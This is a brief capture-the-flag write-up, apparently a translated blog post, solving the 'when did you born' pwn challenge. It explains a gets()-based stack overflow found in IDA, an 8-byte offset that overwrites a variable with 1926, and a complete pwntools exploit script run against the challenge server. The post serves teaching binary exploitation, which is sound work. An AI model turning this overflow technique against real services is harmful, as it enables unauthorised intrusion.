pwn when did you born

Stack overflow question
Source: https://cgctf.nuptsast.com/challenges#Pwn
Insert picture description here
dragged into IDA (64-bit) to
analyze a wave of code, see this gets, it should be a stack overflow.
First of all, we need to provide one that is not 1926 Value, and then change the value of v5 to 1926 by entering the overflow of v4, and you can get the flag

Insert picture description here
Then calculate the offset, v4 is ebp-20h, v5 is ebp-18h, the difference is 8h, and the payload is out.
Write the script below and run it to get the flag

from pwn import *
sh = remote('ctf.acdxvfsvd.net',1926)
payload = 'a' * 0x8 + p64(1926)
sh.recvuntil("What\'s Your Birth?\n")
sh.sendline("1927")
sh.recvuntil("What\'s Your Name?\n")
sh.sendline(payload)
sh.interactive()

Insert picture description here

Guess you like

Origin blog.csdn.net/weixin_45677731/article/details/104420924